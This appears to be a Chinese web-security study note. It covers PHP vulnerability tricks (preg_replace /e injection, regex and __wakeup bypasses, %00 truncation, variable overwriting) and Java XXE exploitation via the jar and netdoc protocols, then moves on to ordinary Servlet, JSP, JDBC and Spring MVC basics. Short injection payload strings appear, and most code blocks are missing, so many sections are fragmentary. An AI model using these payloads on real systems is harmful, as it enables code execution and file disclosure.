搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换
参数:
1 |
常用PCRE修饰符:
[^a] 总是匹配换行符,而不依赖于这个修饰符的设置。https://www.php.net/manual/zh/reference.pcre.pattern.modifiers.php
1)/e 修饰符问题
在PHP5.5.0起废弃,php7.0.0 起不再支持
1 |
|
?r=phpinfo(),获取 phpinfo
1 |
|
?\S*={${phpinfo()}} ,正则表达式 \1 表示符合匹配的第一个子串,{${phpinfo()}} 使用了可变变量的知识。
2)经典写配置漏洞
https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html
1 | //index.php |
1 | //option.php |
1)缺少开始和结束符
在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题
1 |
|
2)PCRE 回溯次数限制绕过
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
1 |
|
可填入垃圾数据导致回溯次数超过了100万 preg_match 返回 FALSE 绕过判断
1 | //bool(false) |
修复方法,改用 === 判断返回值,不要只使用 if 判断
1 |
|
https://www.mi1k7ea.com/2019/06/21/PHP%E5%BC%B1%E7%B1%BB%E5%9E%8B%E5%B0%8F%E7%BB%93/#0x04
wakeup()作为反序列化中的一个魔法函数,自
unserialize()从字节流中创建了一个对象后,程序会马上检测是否具有wakeup()函数存在。若存在,__wakeup()函数会立即被调用。使用__wakeup()函数的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。
在如下情形中,在序列化字符串中,前面的数字代表的是后面字符串中字符的个数,如果数字与字符个数不匹配的话,就会报错,因此将1改成2会产生报错,导致不会去执行__wakeup()函数,从而Bypass
1 |
|
PHP6 新增序列化格式 S,escaped binary string,会将 \xx(16进制) 当做字符处理,所以这里可以造成 check 的绕过,可以参照 2020 强网杯web辅助一题
https://z3ratu1.github.io/2020/08/24/%5B%E5%BC%BA%E7%BD%91%E6%9D%AF2020%5Dweb/
功能同 preg_match() 类似,只不过仅在 php4,php5 中可使用,可使用 %00 截断正则匹配
1 | //?password=123%00&&** |
is_numeric()函数来判断变量是否为数字,是数字返回1,不是则返回0。比较范围不局限于十进制数字。
1 |
|
?password=1337a
https://www.mi1k7ea.com/2019/06/20/PHP变量覆盖漏洞/
变量覆盖即通过外部输入将某个变量的值给覆盖掉,通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞。
php.ini中有一项为register_globals,即注册全局变量,当register_globals=On时,传递过来的值会被直接的注册为全局变量直接使用,而register_globals=Off时,我们需要到特定的数组里去得到它。
注意:register_globals已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
当register_globals=On,变量未被初始化且能够用户所控制时,就会存在变量覆盖漏洞:
1 |
|
?a=1,可以通过 get 、post 也可以通过 cookie 等方式传递
extract()函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。必须使用关联数组,数字索引的数组将不会产生结果,除非用了 EXTR_PREFIX_ALL 或者 EXTR_PREFIX_INVALID。
函数定义
1 | extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int |
EXTR_OVERWRITE,如果有冲突,覆盖已有的变量。EXTR_SKIP 如果有冲突,不覆盖已有的变量。1 |
|
防御方法:在调用extract()时使用EXTR_SKIP保证已有变量不会被覆盖,extract($_GET,EXTR_SKIP);
parse_str()函数通常用于解析URL中的querystring,把查询字符串解析到变量中。
函数定义
1 | parse_str ( string $encoded_string [, array &$result ] ) : void |
注意:在 PHP 7.2 中将废弃不设置参数的行为
1 | //?a=mi1k7ea |
mb_parse_str()函数用于解析GET/POST/COOKIE数据并设置全局变量,和parse_str()类似:
1 |
|
(PHP 4 >= 4.1.0, PHP 5 < 5.4.0)
import_request_variables — 将 GET/POST/Cookie 变量导入到全局作用域中
函数定义
1 | import_request_variables ( string $types [, string $prefix ] ) : bool |
1 | //?a=1 |
$$这种写法称为可变变量,一个可变变量获取了一个普通变量的值作为这个可变变量的变量名
1 |
|
即 ${$a} 就代表 $hello
变量覆盖常在 foreach 语句中出现
1 |
|
1 |
|
?_200-=flag ,post 数据 flag=1 ,这里注意两个 foreach 语句的不同,第一个为 $$value,第二个为 $value 。?_200-=flag 先将 flag 变量的值覆盖到 _200 变量,然后flag=1 将 flag 变量值覆盖掉,使 post 的 flag 和 flag 变量的值相等。
extract() 的 EXTR_SKIP 模式在 php.ini 中,allow_url_fopen 默认一直是On,而 allow_url_include 从 php5.2 之后就默认为 Off
仅 Linux 环境下,/proc/self/root/ 是指向 / 的符号链接,/proc/self/root/ 多级符号链接(41次+)可绕过限制
https://www.anquanke.com/post/id/213235
XML(可扩展标记语言,EXtensible Markup Language ),是一种标记语言,用来传输和存储数据
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
1 | <!--XML申明--> |
DTD(文档类型定义,Document Type Definition )的作用是定义XML文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
DTD引用方式
1)DTD 内部声明
1 |
2)DTD 外部引用
1 |
3)引用公共DTD
1 |
DTD 关键字:
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:
完整的实体类别可参考 DTD - Entities
&'><"通常是 html 的实体编码,例如:
1 |
|
© 即 ©
简单理解即引用替换,语法:
1 |
Example:
1 |
|
参数实体的目的是创建动态替换的文本节
语法:
1 | <!ENTITY % ename "entity_value"> |
&, % 或 " 外所有字符test323.xml
1 |
|
test323.dtd
1 | <?xml version="1.0" encoding="UTF-8"?> |
参数实体必须先定义再使用,而不能像一般实体那样随意放置。
实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的声明方式。
内部实体:
1 | <!ENTITY entity_name "entity_value"> |
外部实体:
1 | <!ENTITY name SYSTEM "URI/URL"> |
其实按照使用来分类,又可以将实体分为通用实体和参数实体。
通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
参数实体
% 实体名 (这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用语法:
1 | <!ENTITY entity-name "entity-value"> |
Example:
1 | <?xml version="1.0" encoding="ISO-8859-1"?> |
语法:
1 | <!ENTITY entity-name SYSTEM "URI/URL"> |
Example:
1 | <?xml version="1.0" encoding="ISO-8859-1"?> |
1 |
|
test323.xml
1 |
|
test323.dtd
1 | <?xml version="1.0" encoding="UTF-8"?> |
Java XML 解析 主要相关的函数
1 | javax.xml.parsers.DocumentBuilderFactory; |
解析实例和防御方法可以查看:
http://www.lmxspace.com/2019/10/31/Java-XXE-总结/
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java
各平台支持的协议如下

Java中的XXE支持 sun.net.www.protocol 里面的所有协议:http,https,file,ftp,mailto,jar,netdoc 。一般利用file协议读取文件、利用http协议探测内网,没有回显时可利用file协议结合http协议或ftp协议来读取文件。
Java XXE 的利用和 php 的查不多,总结一般的利用方式如下:
详细可以查看:https://www.k0rz3n.com/2018/11/19/一篇文章带你深入理解 XXE 漏洞/
区别于 PHP 的利用方式如下
jar 协议语法,jar:{url}!/{entry},url是文件的路径,entry是想要解压出来的文件
jar 协议处理文件的过程:
那么延长服务器传递文件的时间,就可以延长临时文件存在的时间
server.py,这里在传输最后一个字符的时候会 sleep 30s
1 | import sys |
运行服务器,让其监听

然后 xxe 结合 jar 协议
1 |
|
因为 1.zip 中并不存在 wm.php 这个文件,所以可以在报错中看到临时文件的位置

这里实际测试并不一定只能上传 zip 格式的文件,但因为 jar 协议会对文件进行解包操作,如果不上传 zip 格式文件在报错里是看不到临时文件路径的,所以需要先正常上传一次 zip 格式文件获取路径然后再上传其他文件。

Java 中 netdoc 协议可以替代 file 协议功能,读文件:
1 |
|
同时也可以列目录:


| 目录 | 描述 |
|---|---|
| /test1_war_exploded | Web应用根目录,存储 jsp 或 html 文件 |
| /test1_war_exploded/WEB-INF | 存放配置文件,不能直接访问 |
| /test1_war_exploded/WEB-INF/classes | 存放编译后的 class 文件 |
| /test1_war_exploded/WEB-INF/lib | 存放所需 jar 文件,如 JDBC 驱动的 jar 文件 |
web.xml:servlet 、servlet mapping 以及其他配置
编译 servlet 命令:
1 | javac -sourcepath src -classpath D:\soft\server\apache-tomcat-9.0.37\lib\servlet-api.jar -d WEB-INF\classes src\mypack\DispatcherServlet.java |
Servlet API 主要由两个 Java 包组成:javax.servlet 和 javax.servlet.http 。在 javax.servlet 中定义了 Servlet 接口以及相关通用接口和类。在 javax.servlet.http 主要定义了与 HTTP 协议相关的 HttpServlet 类、HttpServletRequest 接口和 HttpServletResponse 接口。
javax.servlet.Servlet 接口主要定义了servlet基础生命周期方法:init(初始化)、getServletConfig(配置)、service(服务)、destroy(销毁)。
javax.servlet.http.HttpServlet类继承于javax.servlet.GenericServlet,而GenericServlet又实现了javax.servlet.Servlet和javax.servlet.ServletConfig。而HttpServlet不仅实现了servlet的生命周期并通过封装service方法抽象出了doGet/doPost/doDelete/doHead/doPut/doOptions/doTrace方法用于处理来自客户端的不一样的请求方式,我们的Servlet只需要重写其中的请求方法或者重写service方法即可实现servlet请求处理。
TestServlet示例代码:
1 | package com.anbai.sec.servlet; |
(1)web.xml
1 | <servlet> |
(2)使用 Annotation 标注
在 Servlet3.0 之后( Tomcat7+)可以使用注解方式配置 Servlet 了,在任意的Java类添加javax.servlet.annotation.WebServlet注解即可。
1 | …… |

HttpServletRequest 常用方法
| 方法 | 说明 |
|---|---|
| getParameter(String name) | 获取请求中的参数,该参数是由name指定的 |
| getParameterValues(String name) | 返回请求中的参数值,该参数值是由name指定的 |
| getRealPath(String path) | 获取Web资源目录 |
| getAttribute(String name) | 返回name指定的属性值 |
| getAttributeNames() | 返回当前请求的所有属性的名字集合 |
| getCookies() | 返回客户端发送的Cookie |
| getSession() | 获取session回话对象 |
| getInputStream() | 获取请求主题的输入流 |
| getReader() | 获取请求主体的数据流 |
| getMethod() | 获取发送请求的方式,如GET、POST |
| getParameterNames() | 获取请求中所有参数的名称 |
| getRemoteAddr() | 获取客户端的IP地址 |
| getRemoteHost() | 获取客户端名称 |
| getServerPath() | 获取请求的文件的路径 |
HttpServletResponse 常用方法
| 方法 | 说明 |
|---|---|
| getWriter() | 获取响应打印流对象 |
| getOutputStream() | 获取响应流对象 |
| addCookie(Cookie cookie) | 将指定的Cookie加入到当前的响应中 |
| addHeader(String name,String value) | 将指定的名字和值加入到响应的头信息中 |
| sendError(int sc) | 使用指定状态码发送一个错误到客户端 |
| sendRedirect(String location) | 发送一个临时的响应到客户端 |
| setDateHeader(String name,long date) | 将给出的名字和日期设置响应的头部 |
| setHeader(String name,String value) | 将给出的名字和值设置响应的头部 |
| setStatus(int sc) | 给当前响应设置状态码 |
| setContentType(String ContentType) | 设置响应的MIME类型 |
JSP 指令用来设置和整个网页相关的属性,如编码方式和脚本语言等
一般语法:
1 | <@ 指令名 属性="值"> |
指定所用的编程语言,与 JSP 对应的 servlet 接口,所拓展的类以及导入的软件包等
常用属性:https://www.cnblogs.com/sharpest/p/10068832.html
include 指令<%@ include file="filename" %> 包含其他文件(静态包含)
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 引入标签库的定义
用于声明成员变量和方法
语法:<%! declaration;[declaration;]……%>
example:
1 | <%! int v1=0;%> |
在 JSP 文件中,可以在 <% 和 %> 标记间嵌入任何有效的 Java 程序代码。
传统 Java 表达式:<%= 和 %> 之间
https://www.jb51.net/article/105314.htm
| 变量名 | 类型 | 作用 |
|---|---|---|
| pageContext | PageContext | 当前页面共享数据,还可以获取其他8个内置对象 |
| request | HttpServletRequest | 客户端请求对象,包含了所有客户端请求信息 |
| session | HttpSession | 请求会话 |
| application | ServletContext | 全局对象,所有用户间共享数据 |
| response | HttpServletResponse | 响应对象,主要用于服务器端设置响应信息 |
| page | Object | 当前Servlet对象,this |
| out | JspWriter | 输出对象,数据输出到页面上 |
| config | ServletConfig | Servlet的配置对象 |
| exception | Throwable | 异常对象 |
JSP标准标签库(JSTL)是一个JSP标签集合,它封装了JSP应用的通用核心功能。
JSTL支持通用的、结构化的任务,比如迭代,条件判断,XML文档操作,国际化标签,SQL标签。 除了这些,它还提供了一个框架来使用集成JSTL的自定义标签。
https://www.runoob.com/jsp/jsp-jstl.html
JDBC连接数据库的一般步骤:
Class.forName("数据库驱动的类名")。DriverManager.getConnection(xxx)。1 | <!--首先导入一些必要的packages--> |
在真实的Java项目中通常不会使用原生的JDBC的DriverManager去连接数据库,而是使用数据源(javax.sql.DataSource)来代替DriverManager管理数据库的连接。一般情况下在Web服务启动时候会预先定义好数据源,有了数据源程序就不再需要编写任何数据库连接相关的代码了,直接引用DataSource对象即可获取数据库连接了。
在 META-INF 目录下创建一个 content.xml 文件,在里面定义数据源
1 | <Context reloadable="true" > |
web.xml 中加入 <resource-ref> 元素
1 | <resource-ref> |
获取 jdbc/BookDB 数据源引用,并获取连接对象
1 | Connection con; |
example
1 | <!--首先导入一些必要的包--> |
JavaBean 是特殊的 Java 类,使用 Java 语言书写,并且遵守 JavaBean API 规范,是一种可重复使用、且跨平台的软件组件。
JavaBean 示例
1 | package mypack; |
编译后的 .class 文件存放在 /WEB_INF/classes/mypack/ 中
要想访问,首先需要导入:<%@ page import="mypack.StudentsBean"%>
使用 <jsp:useBean> 来声明:<jsp:useBean id="myBean" class="mypack.StudentsBean" scope="session"/>
<jsp:useBean> 属性:
id: 命名引用该Bean的变量。如果能够找到id和scope相同的Bean实例,jsp:useBean动作将使用已有的Bean实例而不是创建新的实例。
class: 指定Bean的完整包名
scope: 指定Bean在哪种上下文内可用,可以取下面的四个值之一:page,request,session和application
1 | 1. 默认值是page,表示该Bean只在当前页面内可用(保存在当前页面的PageContext内)。 |
type: 指定引用该对象的变量的类型,它必须是Bean类的名字、超类名字、该类所实现的接口名字之一。请记住变量的名字是由id属性指定的。
beanName: 指定Bean的名字。如果提供了type属性和beanName属性,允许省略class属性。
1)使用 <jsp:getProperty> 标签
1 | <jsp:getProperty name="myBean" property="count" /> |
2)Java表达式
1 | <%=myBean.getCount() %> |
3)EL 表达式
1 | ${myBean.count} |
给 JavaBean 属性赋值:
1 | <jsp:setProperty name="myBean" property="count" value="1"/> |
javax.servlet.Filter是Servlet2.3新增的一个特性,主要用于过滤URL请求,通过Filter我们可以实现URL请求资源权限验证、用户登陆检测等功能。
Filter是一个接口,实现一个Filter只需要重写init、doFilter、destroy方法即可,其中过滤逻辑都在doFilter方法中实现。
1 | package mypack; |
Filter的配置类似于Servlet,由<filter>和<filter-mapping>两组标签组成,如果Servlet版本大于3.0同样可以使用注解的方式配置Filter
web.xml
1 | <filter> |
使用 @WebFilter 标注
1 | ( //用@WebFilter标注配置NoteFilter |
Filter和Servlet的总结:https://javasec.org/javaweb/Filter&Servlet/
spring MVC 工作流程
lib 文件夹中必须包含 Spring 软件包的依赖
web.xml
1 |
|
为 DispatcherServlet 映射的URL为”/“,所有访问应用的用户都会由 DispatcherServlet 来预处理,然后再由它转发给后续组件。为 DispatcherServlet 设置的 Servlet 名字为 “HelloWeb”,即必须为 Spring MVC 提供一个名为 HelloWeb-servlet.xml 的配置文件。
HelloWeb-servlet.xml
1 | <beans xmlns = "http://www.springframework.org/schema/beans" |
指定解析视图组件的为 InternalResourceViewResolver ,prefix 和 suffix 属性分别设定了视图文件的前缀和后缀。